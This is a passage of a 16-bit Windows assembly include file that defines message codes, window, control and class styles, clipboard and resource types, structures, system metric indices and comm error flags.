|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
ENDIF
|
|||
|
|
|||
|
|
|||
|
|
|||
|
; private window messages start here
|
|||
|
WM_USER = 0400H
|
|||
|
ENDIF ; NOWM
|
|||
|
|
|||
|
; WM_MOUSEACTIVATE Return Codes
|
|||
|
MA_ACTIVATE = 1
|
|||
|
MA_ACTIVATEANDEAT = 2
|
|||
|
MA_NOACTIVATE = 3
|
|||
|
|
|||
|
; Size message commands
|
|||
|
SIZENORMAL = 0
|
|||
|
SIZEICONIC = 1
|
|||
|
SIZEFULLSCREEN = 2
|
|||
|
SIZEZOOMSHOW = 3
|
|||
|
SIZEZOOMHIDE = 4
|
|||
|
|
|||
|
; ShowWindow() Commands
|
|||
|
SW_HIDE = 0
|
|||
|
SW_SHOWNORMAL = 1
|
|||
|
SW_NORMAL = 1
|
|||
|
SW_SHOWMINIMIZED = 2
|
|||
|
SW_SHOWMAXIMIZED = 3
|
|||
|
SW_MAXIMIZE = 3
|
|||
|
SW_SHOWNOACTIVATE = 4
|
|||
|
SW_SHOW = 5
|
|||
|
SW_MINIMIZE = 6
|
|||
|
SW_SHOWMINNOACTIVE = 7
|
|||
|
SW_SHOWNA = 8
|
|||
|
SW_RESTORE = 9
|
|||
|
|
|||
|
; Old ShowWindow() Commands
|
|||
|
HIDE_WINDOW = 0
|
|||
|
SHOW_OPENWINDOW = 1
|
|||
|
SHOW_ICONWINDOW = 2
|
|||
|
SHOW_FULLSCREEN = 3
|
|||
|
SHOW_OPENNOACTIVATE= 4
|
|||
|
|
|||
|
; identifiers for the WM_SHOWWINDOW message
|
|||
|
SW_PARENTCLOSING = 1
|
|||
|
SW_OTHERZOOM = 2
|
|||
|
SW_PARENTOPENING = 3
|
|||
|
SW_OTHERUNZOOM = 4
|
|||
|
;
|
|||
|
; Key state masks for mouse messages
|
|||
|
;
|
|||
|
MK_LBUTTON = 0001h
|
|||
|
MK_RBUTTON = 0002h
|
|||
|
MK_SHIFT = 0004h
|
|||
|
MK_CONTROL = 0008h
|
|||
|
MK_MBUTTON = 0010h
|
|||
|
;
|
|||
|
; Class styles
|
|||
|
;
|
|||
|
CS_VREDRAW = 0001h
|
|||
|
CS_HREDRAW = 0002h
|
|||
|
CS_KEYCVTWINDOW = 0004H
|
|||
|
CS_DBLCLKS = 0008h
|
|||
|
; 0010h reserved
|
|||
|
CS_OWNDC = 0020h
|
|||
|
CS_CLASSDC = 0040h
|
|||
|
CS_PARENTDC = 0080h
|
|||
|
CS_NOKEYCVT = 0100h
|
|||
|
CS_SAVEBITS = 0800h
|
|||
|
CS_NOCLOSE = 0200h
|
|||
|
CS_BYTEALIGNCLIENT = 1000h
|
|||
|
CS_BYTEALIGNWINDOW = 2000h
|
|||
|
CS_GLOBALCLASS = 4000h ; Global window class
|
|||
|
|
|||
|
;
|
|||
|
; Special CreateWindow position value
|
|||
|
;
|
|||
|
CW_USEDEFAULT EQU 8000h
|
|||
|
|
|||
|
;
|
|||
|
; Windows styles (the high words)
|
|||
|
;
|
|||
|
WS_OVERLAPPED = 00000h
|
|||
|
WS_ICONICPOPUP = 0C000h
|
|||
|
WS_POPUP = 08000h
|
|||
|
WS_CHILD = 04000h
|
|||
|
WS_MINIMIZE = 02000h
|
|||
|
WS_VISIBLE = 01000h
|
|||
|
WS_DISABLED = 00800h
|
|||
|
WS_CLIPSIBLINGS = 00400h
|
|||
|
WS_CLIPCHILDREN = 00200h
|
|||
|
WS_MAXIMIZE = 00100h
|
|||
|
WS_CAPTION = 000C0h ; WS_BORDER | WS_DLGFRAME
|
|||
|
WS_BORDER = 00080h
|
|||
|
WS_DLGFRAME = 00040h
|
|||
|
WS_VSCROLL = 00020h
|
|||
|
WS_HSCROLL = 00010h
|
|||
|
WS_SYSMENU = 00008h
|
|||
|
WS_THICKFRAME = 00004h
|
|||
|
WS_HREDRAW = 00002h
|
|||
|
WS_VREDRAW = 00001h
|
|||
|
WS_GROUP = 00002h
|
|||
|
WS_TABSTOP = 00001h
|
|||
|
WS_MINIMIZEBOX = 00002h
|
|||
|
WS_MAXIMIZEBOX = 00001h
|
|||
|
|
|||
|
; Common Window Styles
|
|||
|
|
|||
|
WS_OVERLAPPEDWINDOW = WS_OVERLAPPED + WS_CAPTION + WS_SYSMENU + WS_THICKFRAME + WS_MINIMIZEBOX + WS_MAXIMIZEBOX
|
|||
|
WS_POPUPWINDOW = WS_POPUP + WS_BORDER + WS_SYSMENU
|
|||
|
WS_CHILDWINDOW = WS_CHILD
|
|||
|
WS_TILEDWINDOW = WS_OVERLAPPEDWINDOW
|
|||
|
|
|||
|
WS_TILED = WS_OVERLAPPED
|
|||
|
WS_ICONIC = WS_MINIMIZE
|
|||
|
WS_SIZEBOX = WS_THICKFRAME
|
|||
|
|
|||
|
; Extended Window Styles (low words)
|
|||
|
WS_EX_DLGMODALFRAME = 0001
|
|||
|
WS_EX_DRAGOBJECT = 0002
|
|||
|
WS_EX_NOPARENTNOTIFY = 0004
|
|||
|
WS_EX_TOPMOST = 0008
|
|||
|
|
|||
|
;
|
|||
|
; predefined clipboard formats
|
|||
|
;
|
|||
|
CF_TEXT = 1
|
|||
|
CF_BITMAP = 2
|
|||
|
CF_METAFILEPICT = 3
|
|||
|
CF_SYLK = 4
|
|||
|
CF_DIF = 5
|
|||
|
CF_TIFF = 6
|
|||
|
CF_OEMTEXT = 7
|
|||
|
CF_DIB = 8
|
|||
|
CF_PALETTE = 9
|
|||
|
CF_PENDATA = 10
|
|||
|
CF_RIFF = 11
|
|||
|
CF_WAVE = 12
|
|||
|
|
|||
|
CF_OWNERDISPLAY = 80h ; owner display
|
|||
|
CF_DSPTEXT = 81h ; display text
|
|||
|
CF_DSPBITMAP = 82h ; display bitmap
|
|||
|
CF_DSPMETAFILEPICT = 83h ; display metafile
|
|||
|
;
|
|||
|
; Private clipboard format range
|
|||
|
;
|
|||
|
CF_PRIVATEFIRST = 200h ; Anything in this range doesn't
|
|||
|
CF_PRIVATELAST = 2ffh ; get GlobalFree'd
|
|||
|
CF_GDIOBJFIRST = 300h ; Anything in this range gets
|
|||
|
CF_GDIOBJLAST = 3ffh ; DeleteObject'ed
|
|||
|
|
|||
|
|
|||
|
MAKEINTRESOURCE MACRO a
|
|||
|
mov ax,a
|
|||
|
xor dx,dx
|
|||
|
ENDM
|
|||
|
;
|
|||
|
; Predefined resource types
|
|||
|
;
|
|||
|
RT_CURSOR = 1 ; must be passed through MAKEINTRESOURCE
|
|||
|
RT_BITMAP = 2
|
|||
|
RT_ICON = 3
|
|||
|
RT_MENU = 4
|
|||
|
RT_DIALOG = 5
|
|||
|
RT_STRING = 6
|
|||
|
RT_FONTDIR = 7
|
|||
|
RT_FONT = 8
|
|||
|
RT_ACCELERATOR = 9
|
|||
|
RT_RCDATA = 10
|
|||
|
|
|||
|
;** NOTE: if any new resource types are introduced above this point, then the
|
|||
|
;** value of DIFFERENCE must be changed.
|
|||
|
;** (RT_GROUP_CURSOR - RT_CURSOR) must always be equal to DIFFERENCE
|
|||
|
;** (RT_GROUP_ICON - RT_ICON) must always be equal to DIFFERENCE
|
|||
|
|
|||
|
DIFFERENCE = 11
|
|||
|
|
|||
|
RT_GROUP_CURSOR = RT_CURSOR + DIFFERENCE
|
|||
|
RT_GROUP_ICON = RT_ICON + DIFFERENCE
|
|||
|
|
|||
|
|
|||
|
|
|||
|
IFNDEF NOMDI
|
|||
|
MDICREATESTRUCT struc
|
|||
|
szClass dd ?
|
|||
|
szTitle dd ?
|
|||
|
hOwner dw ?
|
|||
|
x dw ?
|
|||
|
y dw ?
|
|||
|
cxc dw ?
|
|||
|
cyc dw ?
|
|||
|
style dd ?
|
|||
|
MDICREATESTRUCT ends
|
|||
|
|
|||
|
CLIENTCREATESTRUCT struc
|
|||
|
hWindowMenu dw ?
|
|||
|
idFirstChild dw ?
|
|||
|
CLIENTCREATESTRUCT ends
|
|||
|
ENDIF
|
|||
|
|
|||
|
; NOMDI
|
|||
|
|
|||
|
|
|||
|
PALETTEENTRY struc
|
|||
|
peRed db ?
|
|||
|
peGreen db ?
|
|||
|
peBlue db ?
|
|||
|
peFlags db ?
|
|||
|
PALETTEENTRY ends
|
|||
|
|
|||
|
; Logical Palette
|
|||
|
LOGPALETTE struc
|
|||
|
palVersion dw ?
|
|||
|
palNumEntries dw ?
|
|||
|
palPalEntry db ? ; array of PALETTEENTRY
|
|||
|
LOGPALETTE ends
|
|||
|
|
|||
|
; DRAWITEMSTRUCT for ownerdraw
|
|||
|
DRAWITEMSTRUCT struc
|
|||
|
drCtlType dw ?
|
|||
|
drCtlID dw ?
|
|||
|
dritemID dw ?
|
|||
|
dritemAction dw ?
|
|||
|
dritemState dw ?
|
|||
|
drhwndItem dw ?
|
|||
|
drhDC dw ?
|
|||
|
drrcItem DB size RECT dup(?)
|
|||
|
dritemData dd ?
|
|||
|
DRAWITEMSTRUCT ends
|
|||
|
|
|||
|
; DELETEITEMSTRUCT for ownerdraw
|
|||
|
DELETEITEMSTRUCT struc
|
|||
|
deCtlType dw ?
|
|||
|
deCtlID dw ?
|
|||
|
deitemID dw ?
|
|||
|
dehwndItem dw ?
|
|||
|
deitemData dd ?
|
|||
|
DELETEITEMSTRUCT ends
|
|||
|
|
|||
|
; MEASUREITEMSTRUCT for ownerdraw
|
|||
|
MEASUREITEMSTRUCT struc
|
|||
|
meCtlType dw ?
|
|||
|
meCtlID dw ?
|
|||
|
meitemID dw ?
|
|||
|
meitemWidth dw ?
|
|||
|
meitemHeight dw ?
|
|||
|
meitemData dd ?
|
|||
|
MEASUREITEMSTRUCT ends
|
|||
|
|
|||
|
; COMPAREITEMSTUCT for ownerdraw sorting
|
|||
|
COMPAREITEMSTRUCT struc
|
|||
|
coCtlType dw ?
|
|||
|
coCtlID dw ?
|
|||
|
cohwndItem dw ?
|
|||
|
coitemID1 dw ?
|
|||
|
coitemData1 dd ?
|
|||
|
coitemID2 dw ?
|
|||
|
coitemData2 dd ?
|
|||
|
COMPAREITEMSTRUCT ends
|
|||
|
|
|||
|
; Owner draw control types
|
|||
|
ODT_MENU = 1
|
|||
|
ODT_LISTBOX = 2
|
|||
|
ODT_COMBOBOX = 3
|
|||
|
ODT_BUTTON = 4
|
|||
|
|
|||
|
; Owner draw actions
|
|||
|
ODA_DRAWENTIRE = 1
|
|||
|
ODA_SELECT = 2
|
|||
|
ODA_FOCUS = 4
|
|||
|
|
|||
|
; Owner draw state
|
|||
|
ODS_SELECTED = 0001h
|
|||
|
ODS_GRAYED = 0002h
|
|||
|
ODS_DISABLED = 0004h
|
|||
|
ODS_CHECKED = 0008h
|
|||
|
ODS_FOCUS = 0010h
|
|||
|
|
|||
|
; PeekMessage() Options
|
|||
|
PM_NOREMOVE = 0000h
|
|||
|
PM_REMOVE = 0001h
|
|||
|
PM_NOYIELD = 0002h
|
|||
|
|
|||
|
; SetWindowPos Flags
|
|||
|
SWP_NOSIZE = 0001h
|
|||
|
SWP_NOMOVE = 0002h
|
|||
|
SWP_NOZORDER = 0004h
|
|||
|
SWP_NOREDRAW = 0008h
|
|||
|
SWP_NOACTIVATE = 0010h
|
|||
|
SWP_DRAWFRAME = 0020h
|
|||
|
SWP_SHOWWINDOW = 0040h
|
|||
|
SWP_HIDEWINDOW = 0080h
|
|||
|
SWP_NOCOPYBITS = 0100h
|
|||
|
SWP_NOREPOSITION = 0200h
|
|||
|
|
|||
|
|
|||
|
IFNDEF NOWINMESSAGES
|
|||
|
|
|||
|
; Listbox messages
|
|||
|
LB_ADDSTRING = (WM_USER+1)
|
|||
|
LB_INSERTSTRING = (WM_USER+2)
|
|||
|
LB_DELETESTRING = (WM_USER+3)
|
|||
|
LB_RESETCONTENT = (WM_USER+5)
|
|||
|
LB_SETSEL = (WM_USER+6)
|
|||
|
LB_SETCURSEL = (WM_USER+7)
|
|||
|
LB_GETSEL = (WM_USER+8)
|
|||
|
LB_GETCURSEL = (WM_USER+9)
|
|||
|
LB_GETTEXT = (WM_USER+10)
|
|||
|
LB_GETTEXTLEN = (WM_USER+11)
|
|||
|
LB_GETCOUNT = (WM_USER+12)
|
|||
|
LB_SELECTSTRING = (WM_USER+13)
|
|||
|
LB_DIR = (WM_USER+14)
|
|||
|
LB_GETTOPINDEX = (WM_USER+15)
|
|||
|
LB_FINDSTRING = (WM_USER+16)
|
|||
|
LB_GETSELCOUNT = (WM_USER+17)
|
|||
|
LB_GETSELITEMS = (WM_USER+18)
|
|||
|
LB_SETTABSTOPS = (WM_USER+19)
|
|||
|
LB_GETHORIZONTALEXTENT = (WM_USER+20)
|
|||
|
LB_SETHORIZONTALEXTENT = (WM_USER+21)
|
|||
|
LB_SETTOPINDEX = (WM_USER+24)
|
|||
|
LB_GETITEMRECT = (WM_USER+25)
|
|||
|
LB_GETITEMDATA = (WM_USER+26)
|
|||
|
LB_SETITEMDATA = (WM_USER+27)
|
|||
|
LB_SELITEMRANGE = (WM_USER+28)
|
|||
|
LB_SETCARETINDEX = (WM_USER+31)
|
|||
|
LB_GETCARETINDEX = (WM_USER+32)
|
|||
|
IFNDEF NOWIN31
|
|||
|
LB_SETITEMHEIGHT = (WM_USER+33)
|
|||
|
LB_GETITEMHEIGHT = (WM_USER+34)
|
|||
|
LB_FINDSTRINGEXACT = (WM_USER+35)
|
|||
|
ENDIF
|
|||
|
|
|||
|
ENDIF
|
|||
|
; NOWINMESSAGES
|
|||
|
|
|||
|
; Listbox Styles
|
|||
|
LBS_NOTIFY = 0001h
|
|||
|
LBS_SORT = 0002h
|
|||
|
LBS_NOREDRAW = 0004h
|
|||
|
LBS_MULTIPLESEL = 0008h
|
|||
|
LBS_OWNERDRAWFIXED = 0010h
|
|||
|
LBS_OWNERDRAWVARIABLE = 0020h
|
|||
|
LBS_HASSTRINGS = 0040h
|
|||
|
LBS_USETABSTOPS = 0080h
|
|||
|
LBS_NOINTEGRALHEIGHT = 0100h
|
|||
|
LBS_MULTICOLUMN = 0200h
|
|||
|
LBS_WANTKEYBOARDINPUT = 0400h
|
|||
|
LBS_EXTENDEDSEL = 0800h
|
|||
|
LBS_STANDARD = LBS_NOTIFY + LBS_SORT + WS_VSCROLL + WS_BORDER
|
|||
|
LBS_DISABLENOSCROLL = 1000h
|
|||
|
|
|||
|
; Listbox Notification Codes
|
|||
|
LBN_ERRSPACE = (-2)
|
|||
|
LBN_SELCHANGE = 1
|
|||
|
LBN_DBLCLK = 2
|
|||
|
LBN_SELCANCEL = 3
|
|||
|
LBN_SETFOCUS = 4
|
|||
|
LBN_KILLFOCUS = 5
|
|||
|
|
|||
|
IFNDEF NOWINMESSAGES
|
|||
|
|
|||
|
; Edit Control Messages
|
|||
|
EM_GETSEL = (WM_USER+0)
|
|||
|
EM_SETSEL = (WM_USER+1)
|
|||
|
EM_GETRECT = (WM_USER+2)
|
|||
|
EM_SETRECT = (WM_USER+3)
|
|||
|
EM_SETRECTNP = (WM_USER+4)
|
|||
|
EM_SCROLL = (WM_USER+5)
|
|||
|
EM_LINESCROLL = (WM_USER+6)
|
|||
|
EM_GETMODIFY = (WM_USER+8)
|
|||
|
EM_SETMODIFY = (WM_USER+9)
|
|||
|
EM_GETLINECOUNT = (WM_USER+10)
|
|||
|
EM_LINEINDEX = (WM_USER+11)
|
|||
|
EM_SETHANDLE = (WM_USER+12)
|
|||
|
EM_GETHANDLE = (WM_USER+13)
|
|||
|
EM_LINELENGTH = (WM_USER+17)
|
|||
|
EM_REPLACESEL = (WM_USER+18)
|
|||
|
EM_SETFONT = (WM_USER+19)
|
|||
|
EM_GETLINE = (WM_USER+20)
|
|||
|
EM_LIMITTEXT = (WM_USER+21)
|
|||
|
EM_CANUNDO = (WM_USER+22)
|
|||
|
EM_UNDO = (WM_USER+23)
|
|||
|
EM_FMTLINES = (WM_USER+24)
|
|||
|
EM_LINEFROMCHAR = (WM_USER+25)
|
|||
|
EM_SETWORDBREAK = (WM_USER+26)
|
|||
|
EM_SETTABSTOPS = (WM_USER+27)
|
|||
|
EM_SETPASSWORDCHAR = (WM_USER+28)
|
|||
|
EM_EMPTYUNDOBUFFER = (WM_USER+29)
|
|||
|
IFNDEF NOWIN31
|
|||
|
EM_GETFIRSTVISIBLELINE = (WM_USER+30)
|
|||
|
EM_SETREADONLY = (WM_USER+31)
|
|||
|
EM_SETWORDBREAKPROC = (WM_USER+32)
|
|||
|
EM_GETWORDBREAKPROC = (WM_USER+33)
|
|||
|
EM_GETPASSWORDCHAR = (WM_USER+34)
|
|||
|
ENDIF
|
|||
|
|
|||
|
ENDIF
|
|||
|
; NOWINMESSAGES
|
|||
|
|
|||
|
|
|||
|
; Edit Control Styles (low word)
|
|||
|
ES_LEFT = 0000h
|
|||
|
ES_CENTER = 0001h
|
|||
|
ES_RIGHT = 0002h
|
|||
|
ES_MULTILINE = 0004h
|
|||
|
ES_UPPERCASE = 0008h
|
|||
|
ES_LOWERCASE = 0010h
|
|||
|
ES_PASSWORD = 0020h
|
|||
|
ES_AUTOVSCROLL = 0040h
|
|||
|
ES_AUTOHSCROLL = 0080h
|
|||
|
ES_NOHIDESEL = 0100h
|
|||
|
ES_OEMCONVERT = 0400h
|
|||
|
IFNDEF NOWIN31
|
|||
|
ES_READONLY = 0800h
|
|||
|
ES_WANTRETURN = 1000h
|
|||
|
ENDIF
|
|||
|
|
|||
|
|
|||
|
; Edit Control Notification Codes
|
|||
|
EN_SETFOCUS = 0100h
|
|||
|
EN_KILLFOCUS = 0200h
|
|||
|
EN_CHANGE = 0300h
|
|||
|
EN_UPDATE = 0400h
|
|||
|
EN_ERRSPACE = 0500h
|
|||
|
EN_MAXTEXT = 0501h
|
|||
|
EN_HSCROLL = 0601h
|
|||
|
EN_VSCROLL = 0602h
|
|||
|
|
|||
|
IFNDEF NOWINMESSAGES
|
|||
|
|
|||
|
; Button Control Messages
|
|||
|
BM_GETCHECK = (WM_USER+0)
|
|||
|
BM_SETCHECK = (WM_USER+1)
|
|||
|
BM_GETSTATE = (WM_USER+2)
|
|||
|
BM_SETSTATE = (WM_USER+3)
|
|||
|
BM_SETSTYLE = (WM_USER+4)
|
|||
|
|
|||
|
ENDIF
|
|||
|
; NOWINMESSAGES
|
|||
|
|
|||
|
; Button Control Styles (low word)
|
|||
|
BS_PUSHBUTTON = 00h
|
|||
|
BS_DEFPUSHBUTTON = 01h
|
|||
|
BS_CHECKBOX = 02h
|
|||
|
BS_AUTOCHECKBOX = 03h
|
|||
|
BS_RADIOBUTTON = 04h
|
|||
|
BS_3STATE = 05h
|
|||
|
BS_AUTO3STATE = 06h
|
|||
|
BS_GROUPBOX = 07h
|
|||
|
BS_USERBUTTON = 08h
|
|||
|
BS_AUTORADIOBUTTON = 09h
|
|||
|
BS_OWNERDRAW = 0Bh
|
|||
|
BS_LEFTTEXT = 20h
|
|||
|
|
|||
|
; User Button Notification Codes
|
|||
|
BN_CLICKED = 0
|
|||
|
BN_PAINT = 1
|
|||
|
BN_HILITE = 2
|
|||
|
BN_UNHILITE = 3
|
|||
|
BN_DISABLE = 4
|
|||
|
BN_DOUBLECLICKED = 5
|
|||
|
|
|||
|
; Dialog Styles (low words)
|
|||
|
DS_ABSALIGN = 01h
|
|||
|
DS_SYSMODAL = 02h
|
|||
|
DS_LOCALEDIT = 20h ;/* Edit items get Local storage. */
|
|||
|
DS_SETFONT = 40h ;/* User specified font for Dlg controls */
|
|||
|
DS_MODALFRAME = 80h ;/* Can be combined with WS_CAPTION */
|
|||
|
DS_NOIDLEMSG = 100h ;/* WM_ENTERIDLE message will not be sent */
|
|||
|
|
|||
|
IFNDEF NOWINMESSAGES
|
|||
|
|
|||
|
; Dialog box messages
|
|||
|
DM_GETDEFID = (WM_USER+0)
|
|||
|
DM_SETDEFID = (WM_USER+1)
|
|||
|
|
|||
|
ENDIF ;NOWINMESSAGES
|
|||
|
|
|||
|
; Dialog Codes
|
|||
|
DLGC_WANTARROWS = 0001h ; /* Control wants arrow keys */
|
|||
|
DLGC_WANTTAB = 0002h ; /* Control wants tab keys */
|
|||
|
DLGC_WANTALLKEYS = 0004h ; /* Control wants all keys */
|
|||
|
DLGC_WANTMESSAGE = 0004h ; /* Pass message to control */
|
|||
|
DLGC_HASSETSEL = 0008h ; /* Understands EM_SETSEL message */
|
|||
|
DLGC_DEFPUSHBUTTON = 0010h ; /* Default pushbutton */
|
|||
|
DLGC_UNDEFPUSHBUTTON= 0020h ; /* Non-default pushbutton */
|
|||
|
DLGC_RADIOBUTTON = 0040h ; /* Radio button */
|
|||
|
DLGC_WANTCHARS = 0080h ; /* Want WM_CHAR messages */
|
|||
|
DLGC_STATIC = 0100h ; /* Static item: don't include */
|
|||
|
DLGC_BUTTON = 2000h ; /* Button item: can be checked */
|
|||
|
|
|||
|
; Combo Box return Values
|
|||
|
CB_OKAY = 0
|
|||
|
CB_ERR = (-1)
|
|||
|
CB_ERRSPACE = (-2)
|
|||
|
|
|||
|
; Combo Box Notification Codes
|
|||
|
CBN_ERRSPACE = (-1)
|
|||
|
CBN_SELCHANGE = 1
|
|||
|
CBN_DBLCLK = 2
|
|||
|
CBN_SETFOCUS = 3
|
|||
|
CBN_KILLFOCUS = 4
|
|||
|
CBN_EDITCHANGE = 5
|
|||
|
CBN_EDITUPDATE = 6
|
|||
|
CBN_DROPDOWN = 7
|
|||
|
|
|||
|
; Combo Box styles (low words)
|
|||
|
CBS_SIMPLE = 0001h
|
|||
|
CBS_DROPDOWN = 0002h
|
|||
|
CBS_DROPDOWNLIST = 0003h
|
|||
|
CBS_OWNERDRAWFIXED = 0010h
|
|||
|
CBS_OWNERDRAWVARIABLE= 0020h
|
|||
|
CBS_AUTOHSCROLL = 0040h
|
|||
|
CBS_OEMCONVERT = 0080h
|
|||
|
CBS_SORT = 0100h
|
|||
|
CBS_HASSTRINGS = 0200h
|
|||
|
CBS_NOINTEGRALHEIGHT = 0400h
|
|||
|
|
|||
|
IFNDEF NOWINMESSAGES
|
|||
|
|
|||
|
; Combo Box messages
|
|||
|
CB_GETEDITSEL = (WM_USER+0)
|
|||
|
CB_LIMITTEXT = (WM_USER+1)
|
|||
|
CB_SETEDITSEL = (WM_USER+2)
|
|||
|
CB_ADDSTRING = (WM_USER+3)
|
|||
|
CB_DELETESTRING = (WM_USER+4)
|
|||
|
CB_DIR = (WM_USER+5)
|
|||
|
CB_GETCOUNT = (WM_USER+6)
|
|||
|
CB_GETCURSEL = (WM_USER+7)
|
|||
|
CB_GETLBTEXT = (WM_USER+8)
|
|||
|
CB_GETLBTEXTLEN = (WM_USER+9)
|
|||
|
CB_INSERTSTRING = (WM_USER+10)
|
|||
|
CB_RESETCONTENT = (WM_USER+11)
|
|||
|
CB_FINDSTRING = (WM_USER+12)
|
|||
|
CB_SELECTSTRING = (WM_USER+13)
|
|||
|
CB_SETCURSEL = (WM_USER+14)
|
|||
|
CB_SHOWDROPDOWN = (WM_USER+15)
|
|||
|
CB_GETITEMDATA = (WM_USER+16)
|
|||
|
CB_SETITEMDATA = (WM_USER+17)
|
|||
|
IFNDEF NOWIN31
|
|||
|
CB_GETDROPPEDCONTROLRECT = (WM_USER+18)
|
|||
|
CB_SETITEMHEIGHT = (WM_USER+19)
|
|||
|
CB_GETITEMHEIGHT = (WM_USER+20)
|
|||
|
CB_SETEXTENDEDUI = (WM_USER+21)
|
|||
|
CB_GETEXTENDEDUI = (WM_USER+22)
|
|||
|
CB_GETDROPPEDSTATE = (WM_USER+23)
|
|||
|
CB_FINDSTRINGEXACT = (WM_USER+24)
|
|||
|
ENDIF
|
|||
|
|
|||
|
ENDIF ; NOWINMESSAGES
|
|||
|
|
|||
|
; Static Control styles (low word)
|
|||
|
SS_LEFT = 00h
|
|||
|
SS_CENTER = 01h
|
|||
|
SS_RIGHT = 02h
|
|||
|
SS_ICON = 03h
|
|||
|
SS_BLACKRECT = 04h
|
|||
|
SS_GRAYRECT = 05h
|
|||
|
SS_WHITERECT = 06h
|
|||
|
SS_BLACKFRAME = 07h
|
|||
|
SS_GRAYFRAME = 08h
|
|||
|
SS_WHITEFRAME = 09h
|
|||
|
SS_SIMPLE = 0Bh
|
|||
|
SS_LEFTNOWORDWRAP = 0Ch
|
|||
|
SS_NOPREFIX = 80h ; Don't do "&" character translation
|
|||
|
|
|||
|
IFNDEF NOWIN31
|
|||
|
IFNDEF NOWINMESSAGES
|
|||
|
|
|||
|
;Static Control Messages
|
|||
|
STM_SETICON = (WM_USER+0)
|
|||
|
STM_GETICON = (WM_USER+1)
|
|||
|
ENDIF
|
|||
|
ENDIF
|
|||
|
|
|||
|
; Scroll Bar Styles (low word)
|
|||
|
SBS_HORZ = 0000h
|
|||
|
SBS_VERT = 0001h
|
|||
|
SBS_TOPALIGN = 0002h
|
|||
|
SBS_LEFTALIGN = 0002h
|
|||
|
SBS_BOTTOMALIGN = 0004h
|
|||
|
SBS_RIGHTALIGN = 0004h
|
|||
|
SBS_SIZEBOXTOPLEFTALIGN = 0002h
|
|||
|
SBS_SIZEBOXBOTTOMRIGHTALIGN = 0004h
|
|||
|
SBS_SIZEBOX = 0008h
|
|||
|
|
|||
|
IFNDEF NOSYSMETRICS
|
|||
|
|
|||
|
; GetSystemMetrics() codes
|
|||
|
SM_CXSCREEN = 0
|
|||
|
SM_CYSCREEN = 1
|
|||
|
SM_CXVSCROLL = 2
|
|||
|
SM_CYHSCROLL = 3
|
|||
|
SM_CYCAPTION = 4
|
|||
|
SM_CXBORDER = 5
|
|||
|
SM_CYBORDER = 6
|
|||
|
SM_CXDLGFRAME = 7
|
|||
|
SM_CYDLGFRAME = 8
|
|||
|
SM_CYVTHUMB = 9
|
|||
|
SM_CXHTHUMB = 10
|
|||
|
SM_CXICON = 11
|
|||
|
SM_CYICON = 12
|
|||
|
SM_CXCURSOR = 13
|
|||
|
SM_CYCURSOR = 14
|
|||
|
SM_CYMENU = 15
|
|||
|
SM_CXFULLSCREEN = 16
|
|||
|
SM_CYFULLSCREEN = 17
|
|||
|
SM_CYKANJIWINDOW = 18
|
|||
|
SM_MOUSEPRESENT = 19
|
|||
|
SM_CYVSCROLL = 20
|
|||
|
SM_CXHSCROLL = 21
|
|||
|
SM_DEBUG = 22
|
|||
|
SM_SWAPBUTTON = 23
|
|||
|
SM_RESERVED1 = 24
|
|||
|
SM_RESERVED2 = 25
|
|||
|
SM_RESERVED3 = 26
|
|||
|
SM_RESERVED4 = 27
|
|||
|
SM_CXMIN = 28
|
|||
|
SM_CYMIN = 29
|
|||
|
SM_CXSIZE = 30
|
|||
|
SM_CYSIZE = 31
|
|||
|
SM_CXFRAME = 32
|
|||
|
SM_CYFRAME = 33
|
|||
|
SM_CXMINTRACK = 34
|
|||
|
SM_CYMINTRACK = 35
|
|||
|
IFNDEF NOWIN31
|
|||
|
SM_CXDOUBLECLK = 36
|
|||
|
SM_CYDOUBLECLK = 37
|
|||
|
SM_CXICONSPACING = 38
|
|||
|
SM_CYICONSPACING = 39
|
|||
|
SM_MENUDROPALIGNMENT = 40
|
|||
|
SM_PENWINDOWS = 41
|
|||
|
SM_DBCSENABLED = 42
|
|||
|
ENDIF
|
|||
|
SM_CMETRICSMAX = 43
|
|||
|
|
|||
|
ENDIF ;NOSYSMETRICS
|
|||
|
|
|||
|
IFNDEF NOCOLOR
|
|||
|
|
|||
|
COLOR_SCROLLBAR = 0
|
|||
|
COLOR_BACKGROUND = 1
|
|||
|
COLOR_ACTIVECAPTION = 2
|
|||
|
COLOR_INACTIVECAPTION = 3
|
|||
|
COLOR_MENU = 4
|
|||
|
COLOR_WINDOW = 5
|
|||
|
COLOR_WINDOWFRAME = 6
|
|||
|
COLOR_MENUTEXT = 7
|
|||
|
COLOR_WINDOWTEXT = 8
|
|||
|
COLOR_CAPTIONTEXT = 9
|
|||
|
COLOR_ACTIVEBORDER = 10
|
|||
|
COLOR_INACTIVEBORDER = 11
|
|||
|
COLOR_APPWORKSPACE = 12
|
|||
|
COLOR_HIGHLIGHT = 13
|
|||
|
COLOR_HIGHLIGHTTEXT = 14
|
|||
|
COLOR_BTNFACE = 15
|
|||
|
COLOR_BTNSHADOW = 16
|
|||
|
COLOR_GRAYTEXT = 17
|
|||
|
COLOR_BTNTEXT = 18
|
|||
|
IFNDEF NOWIN31
|
|||
|
COLOR_INACTIVECAPTIONTEXT = 19
|
|||
|
COLOR_BTNHILIGHT = 20
|
|||
|
ENDIF
|
|||
|
ENDIF ;NOCOLOR
|
|||
|
|
|||
|
; Commands to pass WinHelp()
|
|||
|
HELP_CONTEXT =0001h ;/* Display topic in ulTopic */
|
|||
|
HELP_QUIT =0002h ;/* Terminate help */
|
|||
|
HELP_INDEX =0003h ;/* Display index */
|
|||
|
HELP_HELPONHELP =0004h ;/* Display help on using help */
|
|||
|
HELP_SETINDEX =0005h ;/* Set the current Index for multi index help */
|
|||
|
HELP_KEY =0101h ;/* Display topic for keyword in offabData */
|
|||
|
|
|||
|
IFNDEF NOCOMM
|
|||
|
|
|||
|
NOPARITY = 0
|
|||
|
ODDPARITY = 1
|
|||
|
EVENPARITY = 2
|
|||
|
MARKPARITY = 3
|
|||
|
SPACEPARITY = 4
|
|||
|
|
|||
|
ONESTOPBIT = 0
|
|||
|
ONE5STOPBITS = 1
|
|||
|
TWOSTOPBITS = 2
|
|||
|
|
|||
|
IGNORE = 0 ; /* Ignore signal */
|
|||
|
INFINITE = 0FFFFh ; /* Infinite timeout */
|
|||
|
|
|||
|
; Error Flags
|
|||
|
CE_RXOVER = 0001h ; /* Receive Queue overflow */
|
|||
|
CE_OVERRUN = 0002h ; /* Receive Overrun Error */
|
|||
|
CE_RXPARITY = 0004h ; /* Receive Parity Error */
|
|||
|
CE_FRAME = 0008h ; /* Receive Framing error */
|
|||
|
CE_BREAK = 0010h ; /* Break Detected */
|
